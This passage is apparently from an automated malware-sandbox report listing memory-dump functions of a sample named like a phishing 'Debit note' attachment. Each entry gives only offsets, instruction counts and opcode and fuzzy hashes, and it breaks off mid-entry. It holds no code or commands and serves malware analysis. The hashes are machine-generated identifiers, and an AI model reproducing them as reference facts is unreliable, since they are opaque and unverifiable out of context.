Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c524462e94d3d5c271d233ef20645073a3cb98b56ce4a0d740c243eedacc73d5
Instruction ID: 1449accc896cb1cdda3e8e295ec318d6f27fbaeaf6497e6314ccc1bc72d63a23
Opcode Fuzzy Hash: c524462e94d3d5c271d233ef20645073a3cb98b56ce4a0d740c243eedacc73d5
Instruction Fuzzy Hash: 31F05834909208EFCB50CFA4D4405E8BFF0EB86320F2481EAEC889B251DA318E56DB81

Function 06CF8D1F Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 918022e9a668aee03ce89a37f6acdb7bcd9ccf3c178116bc5ac185aecc049ece
Instruction ID: 8612b810b58e6639d0ac3d00fde23c7218647fa16e1776fe4f84e4f5f77dc3ac
Opcode Fuzzy Hash: 918022e9a668aee03ce89a37f6acdb7bcd9ccf3c178116bc5ac185aecc049ece
Instruction Fuzzy Hash: 86E092727192119FE3648E39A8487627BF7FFD6721F04413BE209CB654C2B58D42C3A0

Function 06DF7B28 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b9bc3fa01f992098944f8a1cc5aa482191832bd20831af8353327ad5c2e59eb
Instruction ID: 20e761a709bfb279d744aab6ebc379a7909653016f58a1a55999c3891afc7bf6
Opcode Fuzzy Hash: 9b9bc3fa01f992098944f8a1cc5aa482191832bd20831af8353327ad5c2e59eb
Instruction Fuzzy Hash: 7FF03430E19208AFCB95DFA8D4902DCBFF1EF4A300F2484DAD848D7361D6318A4ACB00

Function 06DF8880 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46fe54ad74c00736dcb26bebdd6458547bc49cbae6a8c57bdf21982b7e0b8246
Instruction ID: 873e9f6ea489952455e105b55716f71c908cd3e7b47d5ae94829b19ed7860a86
Opcode Fuzzy Hash: 46fe54ad74c00736dcb26bebdd6458547bc49cbae6a8c57bdf21982b7e0b8246
Instruction Fuzzy Hash: 1E011D70A00609DFE754DF69E88879CBBF2FF89301F1181AAE505AB260D7305C80CF11

Function 06DF6821 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8eec3456d86587cdb96c4cc3558ab2c686b00487cff67bf713fe3db1fa1eae1
Instruction ID: bd500e9c3888bed319253716d40c4c42249354498676444f126fec1477445ad2
Opcode Fuzzy Hash: e8eec3456d86587cdb96c4cc3558ab2c686b00487cff67bf713fe3db1fa1eae1
Instruction Fuzzy Hash: 05F01734909248AFCB91DFA8C84069CFFB5EB49314F10C0AEE85897251D6318A12DF81

Function 06D126B0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0319f8bfd3d0022688864dc9cbf9da84627932fe13b101aaf65f58585c5634d5
Instruction ID: 1d1f80f0d7ee3cf8cedee96d3ea39119df160030304b520ce727a782de4b3eac
Opcode Fuzzy Hash: 0319f8bfd3d0022688864dc9cbf9da84627932fe13b101aaf65f58585c5634d5
Instruction Fuzzy Hash: 03F0B73590410CEFCB85DF94D941ADDBFB1FB48300F108499FD59A6660D7328AA1EF81

Function 06D12FD0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe6d20658f691f23aa1560251c6db976f894f5e4d352dc563bc8d215f35ef2e0
Instruction ID: aa42b341adacad945a06b7c87a2bc51ddf9e85643d35c21a28f21801f7c46100
Opcode Fuzzy Hash: fe6d20658f691f23aa1560251c6db976f894f5e4d352dc563bc8d215f35ef2e0
Instruction Fuzzy Hash: 9EF0E53580E248FFC711DF64E8818E8BFB4AF46300F1480DAE88457352D6325E9AE7A2

Function 06D194E0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daa9e41dfbdbd5cd099df1f83be36c928ec848f1eeca15f5cc8e3f19bcec0f74
Instruction ID: 5af3f99bedbdd1cca6b2fe4c833f02cdf0ef70b41b55ba4366bf1fe8baeb4968
Opcode Fuzzy Hash: daa9e41dfbdbd5cd099df1f83be36c928ec848f1eeca15f5cc8e3f19bcec0f74
Instruction Fuzzy Hash: ECF08234509248EFCB11DF90D8508ECBF71EF06300F24849AE8855B261C7318A5AEB41

Function 06C331F7 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 929365f27e23c0203c581c7042eef8c08a5765f67598f9beebbafe2223c5c1b6
Instruction ID: 05844ea207d351dcbe71de650fac9be36bfaef3961ebc9eb17aaae807b46598b
Opcode Fuzzy Hash: 929365f27e23c0203c581c7042eef8c08a5765f67598f9beebbafe2223c5c1b6
Instruction Fuzzy Hash: 48F05874D04288AFCB80CFA8D900AADBBF8AB48200F00C0AAB858D3241C6359A11DF90

Function 06CFD9F8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48457cdd237c88a2db5f4844b8e719f09169baeb5660340228bed3dde5ded91e
Instruction ID: decdb659db9d39d59f158f8d2ea063216d77de97f8d6e3e53b7abd4e78a878e2
Opcode Fuzzy Hash: 48457cdd237c88a2db5f4844b8e719f09169baeb5660340228bed3dde5ded91e
Instruction Fuzzy Hash: 4FF0A074D09248AFC782CFA5D8016ECBFF4AF46215F1480DEDC9597392C6315A42CB92

Function 06DFA6F8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a433236295769b00163c4b0c388219e9b1f2f1dea306ce32c2aa2d314be5605
Instruction ID: c6cef7374f88640039608b89567504c8ac5535a7cc356cc19ac93fe7d321ecb2
Opcode Fuzzy Hash: 0a433236295769b00163c4b0c388219e9b1f2f1dea306ce32c2aa2d314be5605
Instruction Fuzzy Hash: 31F05E74D05208DFC785DFA8D54069CBFF0EF45204F25C0EAD88997351D6318A42CF41

Function 06DF6EE8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 327a50cac727b40666f6ca9edd14058a1e1912ad016a20234c23bf8098ca4676
Instruction ID: 4e3cac4ca47c9a753efb298b8a5466c8d9b87d29bd39336eb786128b1e28b503
Opcode Fuzzy Hash: 327a50cac727b40666f6ca9edd14058a1e1912ad016a20234c23bf8098ca4676
Instruction Fuzzy Hash: 6EF03070905249EFCBA5DFA8C44059CBFF0EF46314F1081DAE888D7252D7318A1ADB40

Function 06DF5D2A Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a5cf97617fbd25199603c2d53d664972668349ae2f7993dcec425d81eb2a632
Instruction ID: 56695108a61f588ef4a14071073f8f8fbefb1f9516b0680099024a42dc13946e
Opcode Fuzzy Hash: 9a5cf97617fbd25199603c2d53d664972668349ae2f7993dcec425d81eb2a632
Instruction Fuzzy Hash: 8CF037B4D04208DFEB54CF69E484B9DB7B2FB98301F1180A9E519A3255D7349C41CF00

Function 06D12EA0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d50a7ffeadddb043264178c8362fc23c3c4ea90d8e92abe9d1c2aedfd866cc
Instruction ID: bb53382c50abf1b72b896fedb326b3859f9eacb629aa1f9c1ed7403b0a9c8763
Opcode Fuzzy Hash: a0d50a7ffeadddb043264178c8362fc23c3c4ea90d8e92abe9d1c2aedfd866cc
Instruction Fuzzy Hash: F8F08C70E09248AFC780DFA8E844A9CFBF4AB48300F10C0DAE888D7352D6319B82CB41

Function 06D13D78 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdd7c3a9d38d5385e11ffac362f9c9bf6a08f7129d71bf0c1c6c20ba3e5b18a8
Instruction ID: 7d21636ddd94920d6e345907b979b432f886420cd05947d2ce83ab74128bcc30
Opcode Fuzzy Hash: fdd7c3a9d38d5385e11ffac362f9c9bf6a08f7129d71bf0c1c6c20ba3e5b18a8
Instruction Fuzzy Hash: D8F0823490A298EFCB51DFA8E5501DCBFB4AF8A204F2480DAD8849B352D6315A09CB52

Function 06C34E48 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a99fae68eaac3317da59197a559dcd19d4a36a3183edc95810865607c2f89b
Instruction ID: 2383545ed72bd0d8878964304aa3cd8b26262d0fad3a5bb2661dc54e40f2e546
Opcode Fuzzy Hash: 05a99fae68eaac3317da59197a559dcd19d4a36a3183edc95810865607c2f89b
Instruction Fuzzy Hash: 5BF065318422589FCB65DFB494506DE7BF5EF46205F2048DFD481D7061EB744A09D751

Function 06C331F8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403d4ffbc439262c71d27a80374c646aae8bab56d8579fc277673ec6b7d292d5
Instruction ID: b59f380432a35dec513621488f0f526f0a5f6d256fb5a187ab3be605486cbead
Opcode Fuzzy Hash: 403d4ffbc439262c71d27a80374c646aae8bab56d8579fc277673ec6b7d292d5
Instruction Fuzzy Hash: 18F01C74D04288EFCB80DFA9D944AADBBF8AB49311F14C0AAF858D3351D6359B11DF90

Function 06CFE9C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d9d70d59be380e51a93fff4301c666b493e8c2e77c1d0eb0f54c141264e9a99
Instruction ID: 1648c4aa8fe0f726a9e5a9e08ddf17bb0a8d22a860ab06146ab4d9ecb79eb9fe
Opcode Fuzzy Hash: 4d9d70d59be380e51a93fff4301c666b493e8c2e77c1d0eb0f54c141264e9a99
Instruction Fuzzy Hash: 2BF06571E15108AFC7D0DBA8D9426DDBFF9DB48214F2040EAE908976A1EA325B52C761

Function 06CFE188 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549ca6a4376c8c9508364b1360fb61d24026002d996ec6bded5336c510d5c09c
Instruction ID: 3473cf6e3a4e82447f862579b4ac633f4c7928fb1761a90124f07dc46d35d0cf
Opcode Fuzzy Hash: 549ca6a4376c8c9508364b1360fb61d24026002d996ec6bded5336c510d5c09c
Instruction Fuzzy Hash: 41F0E53090A284EFC791EFB4D8419A8BF75DB47204F1480DDE844473A3CA315D46CB92

Function 06DF8ED1 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 987d0dd87ee2575013bdfbb0dd76888ecb1974a0bc0d6524bcf783eeccd8472d
Instruction ID: f3de64a0c20e8ac457a37c4af1cb77c8268c1aefd2233fe4aabc5833fce1d3f2
Opcode Fuzzy Hash: 987d0dd87ee2575013bdfbb0dd76888ecb1974a0bc0d6524bcf783eeccd8472d
Instruction Fuzzy Hash: 65F06D349192889FC784DFA8D5412A8BFB0EB09204F2544EEE849C7291DA328F46DB82

Function 06DF4968 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65a3f1c64308c12dc4782d137227615609eb342fb5ba27112a23f37cdf836332
Instruction ID: 72db867cfe47089ce367c9f7b539f5b44e26c363a573f47cc34a9c1ffebdf1dd
Opcode Fuzzy Hash: 65a3f1c64308c12dc4782d137227615609eb342fb5ba27112a23f37cdf836332
Instruction Fuzzy Hash: D0F0A038A09248EFC750DFA8D5405EEBFB4EB49304F1080DAD89887352CA315E06CB92

Function 06D126B8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98866358da19730e80d72556b55a475d753708dd599352d5a32411002284cfed
Instruction ID: 3ddebbb3ba0541a030ce42be50cc3daedd1b66ba6c6304aae9d9475f284510d1
Opcode Fuzzy Hash: 98866358da19730e80d72556b55a475d753708dd599352d5a32411002284cfed
Instruction Fuzzy Hash: F5F0B23590420CEFCB85DF98D940A9DBBB5EB48300F10809AF918A6260D6329AA1EF81

Function 06D12D79 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475cf0d0a78c6de8b538dc2301126f53abc0c59b67373cbfd268091dc04489cf
Instruction ID: 453e8d9c43446fe4e7843ad52c23a99de16ef523af79ee4cb47a7ca1ed7d7f7c
Opcode Fuzzy Hash: 475cf0d0a78c6de8b538dc2301126f53abc0c59b67373cbfd268091dc04489cf
Instruction Fuzzy Hash: 83F01530909218EFC794CFA8E480698BFB0EF89304F2084DED8889B352D7318E46CB81

Function 06D12991 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 254ade05d33d1287ec07151d8a65619ae7d458ac98ae48a8e27b78ec6bd76fa2
Instruction ID: b776df75b066f305be08210aa0706b702fccb9541d50e10e27a7cf977ded3792
Opcode Fuzzy Hash: 254ade05d33d1287ec07151d8a65619ae7d458ac98ae48a8e27b78ec6bd76fa2
Instruction Fuzzy Hash: E0F0E53450D214EFC701CF58E8909D8BFB0EF42310F1082DAE88457291D7328F46D791

Function 06CFD4A0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f803b08a66544e8ef0a5b7f7b1236db97c62ef720c55c39443c9ff6965351d94
Instruction ID: 43c50488b7e218b8cc4a52c1ffb7b02fd3ade764269d39005171c813e1c13a82
Opcode Fuzzy Hash: f803b08a66544e8ef0a5b7f7b1236db97c62ef720c55c39443c9ff6965351d94
Instruction Fuzzy Hash: 44E0D83110D280DFD391DF64F8009B4BF789F43214F5454DEE499C7252C6326D06C7A2

Function 06DF8618 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aafb64d6a3f4942554ed8e87979021515c6265cabb088f6e8b072f494cf2cdb7
Instruction ID: c281186c6e6c91d7d888e6a30c24c15d1c8aeb1c36b5755c9b10248d0014fbcf
Opcode Fuzzy Hash: aafb64d6a3f4942554ed8e87979021515c6265cabb088f6e8b072f494cf2cdb7
Instruction Fuzzy Hash: 42F04970A00209CFEB94DF24E89479C7BB2FB46714F504499D10AA7251CF345CC89F02

Function 06DF82C0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c7e829ec7d9334fdc014f8ab45a451b130cd71bc4e1aea1b35c7e907d4157ef
Instruction ID: 5f89426acd25533bc60d2f1e05375773956b9e041f1921fb60127c87b656f676
Opcode Fuzzy Hash: 1c7e829ec7d9334fdc014f8ab45a451b130cd71bc4e1aea1b35c7e907d4157ef
Instruction Fuzzy Hash: 22F0F974A01208DFDB50CF54E4887ACB7B2FB4A305F1141AAEA59A7351CB345D84DF42

Function 06DF83BB Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fea5e9446aad89c10e73f870804df0898464e3258f12d1ad8660f8d9f657f7c
Instruction ID: 4c4e0466e0fc28ae4241b996191c41eac0ecf27772f456c25aee21676ba0dd53
Opcode Fuzzy Hash: 2fea5e9446aad89c10e73f870804df0898464e3258f12d1ad8660f8d9f657f7c
Instruction Fuzzy Hash: 80F0C474A05208CFDB90DF54E98879CB7B2FF45705F2042AAE60AA7351CB746D85DF11

Function 06DFAEB8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27a194e3a5b2329ed5a506730ec94408061432dd1bee06d2ef6d6d9f23fe665e
Instruction ID: 98753f1f3fa8e26946eb117cdddf2bb2350a73334585459c059e7033c44645c0
Opcode Fuzzy Hash: 27a194e3a5b2329ed5a506730ec94408061432dd1bee06d2ef6d6d9f23fe665e
Instruction Fuzzy Hash: 57E09270A05248AFDB45DF70DD1162C7B71EF46210F015197D905DB251D5B05F2497D2

Function 06DF8D6E Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb3f9f1e91b39eb5034df19b0d2fc8017f25752e121dc77fe8d3051e25b1150c
Instruction ID: 33a0e961b6ef846dd7e4c66497ce64edcad58b700ad19a6a2a82c63cce75aa8f
Opcode Fuzzy Hash: cb3f9f1e91b39eb5034df19b0d2fc8017f25752e121dc77fe8d3051e25b1150c
Instruction Fuzzy Hash: 2AF0F274A00218DFEB90CF14E898B98BBB2FB59305F1041A9D646A7251CB306DC4DF15

Function 06DFDAA0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76b03772b8d858853b87199744096820d501350650f7eaf0f5236f41077b1f89
Instruction ID: 826363391b9f2618b7df5626d994378d84fd8671fbad7bc7067746751ec08c1b
Opcode Fuzzy Hash: 76b03772b8d858853b87199744096820d501350650f7eaf0f5236f41077b1f89
Instruction Fuzzy Hash: 28F03931A04618AFCB19DB99D448BDDBFF7EB84221F15C0AAD1099B280DBB05A81CBC4

Function 06DF7958 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 490e4c4f49b3040e091012ab2bf0ee533a49a45c5ca39ecaaa7bc867d54524d2
Instruction ID: 974141b139422c592daccfbedd9311320d39b414ed9ec506ac9db6660bc643ac
Opcode Fuzzy Hash: 490e4c4f49b3040e091012ab2bf0ee533a49a45c5ca39ecaaa7bc867d54524d2
Instruction Fuzzy Hash: CBF06D3890A248EFC701DFA4E9405E9BF74AF46310F14D1DAE8845B352DA318E5AEB91

Function 06DF893C Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51cc21778b6f6975d534d6448c1e4cd279216e01406b08fe6c26d85eddaaee8b
Instruction ID: 603761b46180592b28bb4737b40bb57d6cf0c0d277accc02772dcbcccc2a6f60
Opcode Fuzzy Hash: 51cc21778b6f6975d534d6448c1e4cd279216e01406b08fe6c26d85eddaaee8b
Instruction Fuzzy Hash: ECF01474A10208CFEB54CF14E889BDDBBB2FF09705F1041AADA09A7251C7305E80DF12

Function 06D12B70 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b002ff1d7bb63f11d597fe388a828e0a5418764e2809ae5106db82d5250f04f
Instruction ID: a7f5990f013301bf4458daa7eb10162daf423b9b3936eafb09059cc59a315a36
Opcode Fuzzy Hash: 4b002ff1d7bb63f11d597fe388a828e0a5418764e2809ae5106db82d5250f04f
Instruction Fuzzy Hash: ECE06DB18462089FC762EFB4D50058DBBB4AF46200B1004DAE0818B062EA728A89E762

Function 06C3FF98 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03fec8b358bae88f0ba7012d8e3d27ee731b29120edd91710b58a93d80110bc
Instruction ID: 36ba68101c7855cf24addcf684f658167355e6b01460770660f84067009f474d
Opcode Fuzzy Hash: e03fec8b358bae88f0ba7012d8e3d27ee731b29120edd91710b58a93d80110bc
Instruction Fuzzy Hash: B1E012313002055FC7109A1AE98494BFBAAEEC0265710853AA11A8B225DAB0ED4A87A0

Function 06CFEE00 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ecc28da728eacbc956b049789498835db716bec4f434a53c9a62a9848c6b998
Instruction ID: 0fe71b88026b96310ce6f7e7550466b9f43cb83acf3746f99dec55424e290ea9
Opcode Fuzzy Hash: 1ecc28da728eacbc956b049789498835db716bec4f434a53c9a62a9848c6b998
